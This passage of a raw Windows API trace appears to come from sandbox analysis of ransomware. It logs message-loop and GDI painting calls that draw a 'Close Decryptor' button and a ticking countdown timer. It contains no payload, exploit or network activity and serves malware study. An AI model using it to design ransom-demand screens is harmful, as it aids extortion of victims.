lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.964] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.964] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.964] BeginPaint (in: hWnd=0x10270, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x10105d6 [0167.964] EndPaint (hWnd=0x10270, lpPaint=0x19e8bc) returned 1 [0167.964] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.964] IsWindowUnicode (hWnd=0x30212) returned 1 [0167.964] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.964] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.964] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.964] BeginPaint (in: hWnd=0x30212, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x1b010670 [0167.964] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0167.964] CreateCompatibleDC (hdc=0x1b010670) returned 0x13010743 [0167.965] SelectObject (hdc=0x13010743, h=0x8050721) returned 0x85000f [0167.965] GdipCreateFromHDC (hdc=0x13010743, graphics=0x19e8d8) returned 0x0 [0167.965] GdipTranslateWorldTransform (graphics=0x6923518, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0167.965] GdipSetClipRectI (graphics=0x6923518, x=0, y=0, width=178, height=111, combineMode=0x0) returned 0x0 [0167.965] GdipCreateMatrix (matrix=0x19e920) returned 0x0 [0167.965] GdipGetWorldTransform (graphics=0x6923518, matrix=0x69237f8) returned 0x0 [0167.965] GdipIsMatrixIdentity (matrix=0x69237f8, result=0x19e938) returned 0x0 [0167.965] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0167.965] GdipGetMatrixElements (matrix=0x69237f8, matrixOut=0xf75be8) returned 0x0 [0167.965] LocalFree (hMem=0xf75be8) returned 0x0 [0167.965] GdipDeleteMatrix (matrix=0x69237f8) returned 0x0 [0167.965] GdipCreateRegion (region=0x19e920) returned 0x0 [0167.965] GdipGetClip (graphics=0x6923518, region=0x6920790) returned 0x0 [0167.965] GdipIsInfiniteRegion (region=0x6920790, graphics=0x6923518, result=0x19e92c) returned 0x0 [0167.965] GdipSaveGraphics (graphics=0x6923518, state=0x19e958) returned 0x0 [0167.965] GdipRestoreGraphics (graphics=0x6923518, state=0xfd1f0dbd) returned 0x0 [0167.965] GdipDeleteRegion (region=0x6920790) returned 0x0 [0167.965] GdipGetDC (graphics=0x6923518, hdc=0x19e708) returned 0x0 [0167.966] GetCurrentObject (hdc=0x13010743, type=0x1) returned 0xb00017 [0167.966] GetCurrentObject (hdc=0x13010743, type=0x2) returned 0x900010 [0167.966] GetCurrentObject (hdc=0x13010743, type=0x7) returned 0x8050721 [0167.966] GetCurrentObject (hdc=0x13010743, type=0x6) returned 0x8a01c2 [0167.966] SaveDC (hdc=0x13010743) returned 1 [0167.966] GetNearestColor (hdc=0x13010743, color=0x323533) returned 0x323533 [0167.966] GetNearestColor (hdc=0x13010743, color=0x111111) returned 0x111111 [0167.966] GetNearestColor (hdc=0x13010743, color=0x0) returned 0x0 [0167.966] GetNearestColor (hdc=0x13010743, color=0x868c88) returned 0x868c88 [0167.966] GetNearestColor (hdc=0x13010743, color=0x6994f5) returned 0x6994f5 [0167.966] GetNearestColor (hdc=0x13010743, color=0x969c98) returned 0x969c98 [0167.966] GetNearestColor (hdc=0x13010743, color=0x868c88) returned 0x868c88 [0167.966] GetNearestColor (hdc=0x13010743, color=0x3c3f3d) returned 0x3c3f3d [0167.966] GetNearestColor (hdc=0x13010743, color=0x6994f5) returned 0x6994f5 [0167.966] RestoreDC (hdc=0x13010743, nSavedDC=-1) returned 1 [0167.966] GdipReleaseDC (graphics=0x6923518, hdc=0x13010743) returned 0x0 [0167.967] SelectObject (hdc=0x8e0106dd, h=0x110a0722) returned 0xc0a0739 [0167.967] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Close Decryptor", cchText=15, lprc=0x19e5c4, format=0x102415, lpdtp=0x305f9f8 | out: lpchText="Close Decryptor", lprc=0x19e5c4) returned 60 [0167.967] GdipCreateRegion (region=0x19e64c) returned 0x0 [0167.967] GdipGetClip (graphics=0x6923518, region=0x6920790) returned 0x0 [0167.967] GdipCreateMatrix (matrix=0x19e64c) returned 0x0 [0167.967] GdipGetWorldTransform (graphics=0x6923518, matrix=0x6915f08) returned 0x0 [0167.967] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e664) returned 0x0 [0167.967] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0167.967] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0167.967] LocalFree (hMem=0xf75be8) returned 0x0 [0167.967] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0167.967] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0167.967] LocalFree (hMem=0xf75c20) returned 0x0 [0167.968] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0167.968] GdipIsInfiniteRegion (region=0x6920790, graphics=0x6923518, result=0x19e68c) returned 0x0 [0167.968] GdipIsInfiniteRegion (region=0x6920790, graphics=0x6923518, result=0x19e67c) returned 0x0 [0167.968] GdipGetRegionHRgn (region=0x6920790, graphics=0x6923518, hRgn=0x19e67c) returned 0x0 [0167.968] GdipDeleteRegion (region=0x6920790) returned 0x0 [0167.968] GdipGetDC (graphics=0x6923518, hdc=0x19e694) returned 0x0 [0167.968] GetCurrentObject (hdc=0x13010743, type=0x1) returned 0xb00017 [0167.968] GetCurrentObject (hdc=0x13010743, type=0x2) returned 0x900010 [0167.968] GetCurrentObject (hdc=0x13010743, type=0x7) returned 0x8050721 [0167.968] GetCurrentObject (hdc=0x13010743, type=0x6) returned 0x8a01c2 [0167.968] SaveDC (hdc=0x13010743) returned 1 [0167.969] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xe50406fe [0167.969] GetClipRgn (hdc=0x13010743, hrgn=0xe50406fe) returned 0 [0167.969] SelectClipRgn (hdc=0x13010743, hrgn=0x2204070e) returned 2 [0167.969] DeleteObject (ho=0xe50406fe) returned 1 [0167.969] DeleteObject (ho=0x2204070e) returned 1 [0167.969] OffsetViewportOrgEx (in: hdc=0x13010743, x=0, y=0, lppt=0x305fbe8 | out: lppt=0x305fbe8) returned 1 [0167.969] GetNearestColor (hdc=0x13010743, color=0x3c3f3d) returned 0x3c3f3d [0167.969] CreateSolidBrush (color=0x3c3f3d) returned 0x3410073a [0167.969] FillRect (hDC=0x13010743, lprc=0x19e698, hbr=0x3410073a) returned 1 [0167.969] DeleteObject (ho=0x3410073a) returned 1 [0167.969] RestoreDC (hdc=0x13010743, nSavedDC=-1) returned 1 [0167.969] GdipReleaseDC (graphics=0x6923518, hdc=0x13010743) returned 0x0 [0167.969] GdipGetTextRenderingHint (graphics=0x6923518, mode=0x19e710) returned 0x0 [0167.969] GdipGetDC (graphics=0x6923518, hdc=0x19e6fc) returned 0x0 [0167.971] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e444 | out: pv=0x19e444) returned 92 [0167.971] SelectObject (hdc=0x13010743, h=0x110a0722) returned 0x8a01c2 [0167.971] DrawTextExW (in: hdc=0x13010743, lpchText="Close Decryptor", cchText=15, lprc=0x19e52c, format=0x102415, lpdtp=0x305fea4 | out: lpchText="Close Decryptor", lprc=0x19e52c) returned 60 [0167.972] GdipReleaseDC (graphics=0x6923518, hdc=0x13010743) returned 0x0 [0167.972] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e794) returned 0x0 [0167.972] GdipDrawRectangleI (graphics=0x6923518, pen=0x6915e78, x=0, y=0, width=177, height=110) returned 0x0 [0167.972] GdipDeletePen (pen=0x6915e78) returned 0x0 [0167.972] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e778) returned 0x0 [0167.972] GdipDrawRectangleI (graphics=0x6923518, pen=0x6915e78, x=1, y=1, width=175, height=108) returned 0x0 [0167.972] GdipDeletePen (pen=0x6915e78) returned 0x0 [0167.972] GdipGetDC (graphics=0x6923518, hdc=0x19e918) returned 0x0 [0167.973] GdipReleaseDC (graphics=0x6923518, hdc=0x13010743) returned 0x0 [0167.973] GdipDeleteGraphics (graphics=0x6923518) returned 0x0 [0167.973] EndPaint (hWnd=0x30212, lpPaint=0x19e8bc) returned 1 [0167.973] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0167.973] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0167.973] WaitMessage () returned 1 [0168.579] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0168.579] IsWindowUnicode (hWnd=0x50074) returned 1 [0168.579] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0168.579] TranslateMessage (lpMsg=0x19ee78) returned 0 [0168.579] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0168.579] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0168.579] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0168.579] GetSystemMetrics (nIndex=42) returned 0 [0168.579] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea9c, nMaxCount=9 | out: lpString="06:58:09") returned 8 [0168.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea9c) returned 0x8 [0168.580] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0168.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0168.580] GetSystemMetrics (nIndex=42) returned 0 [0168.580] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea98, nMaxCount=9 | out: lpString="06:58:09") returned 8 [0168.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea98) returned 0x8 [0168.580] SetWindowTextW (hWnd=0x20236, lpString="06:58:10") [0168.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xc, wParam=0x0, lParam=0x305ff90) [0168.580] GetStockObject (i=5) returned 0x900015 [0168.580] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0168.581] AdjustWindowRectEx (in: lpRect=0x19e94c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e94c) returned 1 [0168.581] SelectObject (hdc=0x8e0106dd, h=0x4f0a0711) returned 0x110a0722 [0168.581] DrawTextExW (in: hdc=0x8e0106dd, lpchText="06:58:10", cchText=8, lprc=0x19e938, format=0x102400, lpdtp=0x3060180 | out: lpchText="06:58:10", lprc=0x19e938) returned 50 [0168.581] InvalidateRect (hWnd=0x20236, lpRect=0x0, bErase=1) returned 1 [0168.581] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0168.581] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0168.581] GetSystemMetrics (nIndex=42) returned 0 [0168.581] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e9fc, nMaxCount=1 | out: lpString="") returned 0 [0168.581] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e9fc) returned 0x0 [0168.581] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0168.581] IsWindowUnicode (hWnd=0x20236) returned 1 [0168.581] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0168.581] TranslateMessage (lpMsg=0x19ee78) returned 0 [0168.581] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0168.581] BeginPaint (in: hWnd=0x20236, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x60100ce [0168.581] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0168.582] CreateCompatibleDC (hdc=0x60100ce) returned 0x15010743 [0168.582] SelectObject (hdc=0x15010743, h=0x8050721) returned 0x85000f [0168.582] GdipCreateFromHDC (hdc=0x15010743, graphics=0x19e8e4) returned 0x0 [0168.582] GdipTranslateWorldTransform (graphics=0x6923518, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0168.582] GdipSetClipRectI (graphics=0x6923518, x=0, y=0, width=154, height=50, combineMode=0x0) returned 0x0 [0168.582] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0168.582] GdipGetWorldTransform (graphics=0x6923518, matrix=0x6920790) returned 0x0 [0168.582] GdipIsMatrixIdentity (matrix=0x6920790, result=0x19e944) returned 0x0 [0168.582] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0168.582] GdipGetMatrixElements (matrix=0x6920790, matrixOut=0xf75be8) returned 0x0 [0168.582] LocalFree (hMem=0xf75be8) returned 0x0 [0168.582] GdipDeleteMatrix (matrix=0x6920790) returned 0x0 [0168.582] GdipCreateRegion (region=0x19e92c) returned 0x0 [0168.582] GdipGetClip (graphics=0x6923518, region=0x69207c0) returned 0x0 [0168.582] GdipIsInfiniteRegion (region=0x69207c0, graphics=0x6923518, result=0x19e938) returned 0x0 [0168.582] GdipSaveGraphics (graphics=0x6923518, state=0x19e964) returned 0x0 [0168.582] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0168.582] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0168.582] GetSystemMetrics (nIndex=42) returned 0 [0168.582] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:10") returned 8 [0168.582] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0168.582] GetClientRect (in: hWnd=0x20236, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0168.582] GdipCreateRegion (region=0x19e780) returned 0x0 [0168.582] GdipGetClip (graphics=0x6923518, region=0x69237f8) returned 0x0 [0168.582] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0168.583] GdipGetWorldTransform (graphics=0x6923518, matrix=0x6915f08) returned 0x0 [0168.583] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0168.583] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0168.583] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0168.583] LocalFree (hMem=0xf75be8) returned 0x0 [0168.583] GdipCombineRegionRegion (region=0x69237f8, region2=0x69207c0, combineMode=0x1) returned 0x0 [0168.583] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0168.583] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0168.583] LocalFree (hMem=0xf75be8) returned 0x0 [0168.583] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0168.583] GdipIsInfiniteRegion (region=0x69237f8, graphics=0x6923518, result=0x19e7c0) returned 0x0 [0168.583] GdipIsInfiniteRegion (region=0x69237f8, graphics=0x6923518, result=0x19e7b0) returned 0x0 [0168.583] GdipGetRegionHRgn (region=0x69237f8, graphics=0x6923518, hRgn=0x19e7b0) returned 0x0 [0168.583] GdipDeleteRegion (region=0x69237f8) returned 0x0 [0168.583] GdipGetDC (graphics=0x6923518, hdc=0x19e7c8) returned 0x0 [0168.583] GetCurrentObject (hdc=0x15010743, type=0x1) returned 0xb00017 [0168.583] GetCurrentObject (hdc=0x15010743, type=0x2) returned 0x900010 [0168.583] GetCurrentObject (hdc=0x15010743, type=0x7) returned 0x8050721 [0168.583] GetCurrentObject (hdc=0x15010743, type=0x6) returned 0x8a01c2 [0168.583] SaveDC (hdc=0x15010743) returned 1 [0168.583] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x2304070e [0168.583] GetClipRgn (hdc=0x15010743, hrgn=0x2304070e) returned 0 [0168.583] SelectClipRgn (hdc=0x15010743, hrgn=0xe90406fe) returned 2 [0168.583] DeleteObject (ho=0x2304070e) returned 1 [0168.583] DeleteObject (ho=0xe90406fe) returned 1 [0168.583] OffsetViewportOrgEx (in: hdc=0x15010743, x=0, y=0, lppt=0x3060550 | out: lppt=0x3060550) returned 1 [0168.584] GetNearestColor (hdc=0x15010743, color=0x22a3f8) returned 0x22a3f8 [0168.584] CreateSolidBrush (color=0x22a3f8) returned 0x3510073a [0168.584] FillRect (hDC=0x15010743, lprc=0x19e7cc, hbr=0x3510073a) returned 1 [0168.584] DeleteObject (ho=0x3510073a) returned 1 [0168.584] RestoreDC (hdc=0x15010743, nSavedDC=-1) returned 1 [0168.584] GdipReleaseDC (graphics=0x6923518, hdc=0x15010743) returned 0x0 [0168.584] GdipRestoreGraphics (graphics=0x6923518, state=0xfd1d0dbd) returned 0x0 [0168.584] GdipDeleteRegion (region=0x69207c0) returned 0x0 [0168.584] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0168.584] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0168.584] GetSystemMetrics (nIndex=42) returned 0 [0168.584] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:10") returned 8 [0168.584] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0168.584] GdipGetDC (graphics=0x6923518, hdc=0x19e7e8) returned 0x0 [0168.584] GetCurrentObject (hdc=0x15010743, type=0x1) returned 0xb00017 [0168.584] GetCurrentObject (hdc=0x15010743, type=0x2) returned 0x900010 [0168.584] GetCurrentObject (hdc=0x15010743, type=0x7) returned 0x8050721 [0168.584] GetCurrentObject (hdc=0x15010743, type=0x6) returned 0x8a01c2 [0168.584] SaveDC (hdc=0x15010743) returned 1 [0168.584] GetNearestColor (hdc=0x15010743, color=0x0) returned 0x0 [0168.584] RestoreDC (hdc=0x15010743, nSavedDC=-1) returned 1 [0168.584] GdipReleaseDC (graphics=0x6923518, hdc=0x15010743) returned 0x0 [0168.585] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0168.585] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0168.585] GdipGetTextRenderingHint (graphics=0x6923518, mode=0x19e788) returned 0x0 [0168.585] GdipGetDC (graphics=0x6923518, hdc=0x19e774) returned 0x0 [0168.585] GetCurrentObject (hdc=0x15010743, type=0x1) returned 0xb00017 [0168.585] GetCurrentObject (hdc=0x15010743, type=0x2) returned 0x900010 [0168.585] GetCurrentObject (hdc=0x15010743, type=0x7) returned 0x8050721 [0168.585] GetCurrentObject (hdc=0x15010743, type=0x6) returned 0x8a01c2 [0168.585] SaveDC (hdc=0x15010743) returned 1 [0168.585] GetTextAlign (hdc=0x15010743) returned 0x0 [0168.585] GetTextColor (hdc=0x15010743) returned 0x0 [0168.585] GetCurrentObject (hdc=0x15010743, type=0x6) returned 0x8a01c2 [0168.585] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0168.585] SelectObject (hdc=0x15010743, h=0x4f0a0711) returned 0x8a01c2 [0168.585] GetBkMode (hdc=0x15010743) returned 2 [0168.585] SetBkMode (hdc=0x15010743, mode=1) returned 2 [0168.585] DrawTextExW (in: hdc=0x15010743, lpchText="06:58:10", cchText=8, lprc=0x19e708, format=0x100000, lpdtp=0x30609e4 | out: lpchText="06:58:10", lprc=0x19e708) returned 50 [0168.586] RestoreDC (hdc=0x15010743, nSavedDC=-1) returned 1 [0168.586] GdipReleaseDC (graphics=0x6923518, hdc=0x15010743) returned 0x0 [0168.586] GdipGetDC (graphics=0x6923518, hdc=0x19e924) returned 0x0 [0168.586] BitBlt (hdc=0x60100ce, x=0, y=0, cx=154, cy=50, hdcSrc=0x15010743, x1=0, y1=0, rop=0xcc0020) returned 1 [0168.586] GdipReleaseDC (graphics=0x6923518, hdc=0x15010743) returned 0x0 [0168.586] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0168.586] SelectObject (hdc=0x15010743, h=0x85000f) returned 0x8050721 [0168.586] DeleteDC (hdc=0x15010743) returned 1 [0168.586] GdipDeleteGraphics (graphics=0x6923518) returned 0x0 [0168.586] EndPaint (hWnd=0x20236, lpPaint=0x19e8c8) returned 1 [0168.586] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0168.586] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0168.586] WaitMessage () returned 1 [0168.939] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0168.939] GetMessageA (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0168.939] TranslateMessage (lpMsg=0x19ee78) returned 0 [0168.939] DispatchMessageA (lpMsg=0x19ee78) returned 0x1 [0168.939] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0168.939] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0168.939] WaitMessage () returned 1 [0169.579] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0169.580] IsWindowUnicode (hWnd=0x50074) returned 1 [0169.580] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0169.580] TranslateMessage (lpMsg=0x19ee78) returned 0 [0169.580] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0169.580] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0169.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0169.580] GetSystemMetrics (nIndex=42) returned 0 [0169.580] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea9c, nMaxCount=9 | out: lpString="06:58:10") returned 8 [0169.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea9c) returned 0x8 [0169.580] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0169.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0169.580] GetSystemMetrics (nIndex=42) returned 0 [0169.580] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea98, nMaxCount=9 | out: lpString="06:58:10") returned 8 [0169.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea98) returned 0x8 [0169.580] SetWindowTextW (hWnd=0x20236, lpString="06:58:11") returned 1 [0169.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xc, wParam=0x0, lParam=0x3060aac) returned 0x1 [0169.580] GetStockObject (i=5) returned 0x900015 [0169.580] GetDlgItem (hDlg=0x2022c, nIDDlgItem=131638) returned 0x20236 [0169.580] SendMessageW (hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0169.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0169.580] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0169.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0169.581] GetSystemMetrics (nIndex=42) returned 0 [0169.581] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e9bc, nMaxCount=9 | out: lpString="06:58:11") returned 8 [0169.581] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e9bc) returned 0x8 [0169.581] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0169.581] AdjustWindowRectEx (in: lpRect=0x19e94c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e94c) returned 1 [0169.581] DrawTextExW (in: hdc=0x8e0106dd, lpchText="06:58:11", cchText=8, lprc=0x19e938, format=0x102400, lpdtp=0x3060c9c | out: lpchText="06:58:11", lprc=0x19e938) returned 50 [0169.581] InvalidateRect (hWnd=0x20236, lpRect=0x0, bErase=1) returned 1 [0169.581] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0169.581] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0169.581] GetSystemMetrics (nIndex=42) returned 0 [0169.581] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e9fc, nMaxCount=1 | out: lpString="") returned 0 [0169.581] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e9fc) returned 0x0 [0169.582] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0169.582] IsWindowUnicode (hWnd=0x20236) returned 1 [0169.582] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0169.582] TranslateMessage (lpMsg=0x19ee78) returned 0 [0169.582] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0169.582] BeginPaint (in: hWnd=0x20236, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x60100ce [0169.582] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0169.582] CreateCompatibleDC (hdc=0x60100ce) returned 0x11010742 [0169.582] SelectObject (hdc=0x11010742, h=0x8050721) returned 0x85000f [0169.582] GdipCreateFromHDC (hdc=0x11010742, graphics=0x19e8e4) returned 0x0 [0169.582] GdipTranslateWorldTransform (graphics=0x6923518, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0169.582] GdipSetClipRectI (graphics=0x6923518, x=0, y=0, width=154, height=50, combineMode=0x0) returned 0x0 [0169.582] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0169.582] GdipGetWorldTransform (graphics=0x6923518, matrix=0x6920790) returned 0x0 [0169.582] GdipIsMatrixIdentity (matrix=0x6920790, result=0x19e944) returned 0x0 [0169.582] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0169.582] GdipGetMatrixElements (matrix=0x6920790, matrixOut=0xf75bb0) returned 0x0 [0169.583] LocalFree (hMem=0xf75bb0) returned 0x0 [0169.583] GdipDeleteMatrix (matrix=0x6920790) returned 0x0 [0169.583] GdipCreateRegion (region=0x19e92c) returned 0x0 [0169.583] GdipGetClip (graphics=0x6923518, region=0x69207c0) returned 0x0 [0169.583] GdipIsInfiniteRegion (region=0x69207c0, graphics=0x6923518, result=0x19e938) returned 0x0 [0169.583] GdipSaveGraphics (graphics=0x6923518, state=0x19e964) returned 0x0 [0169.583] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0169.583] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0169.583] GetSystemMetrics (nIndex=42) returned 0 [0169.583] GetWindowTextW 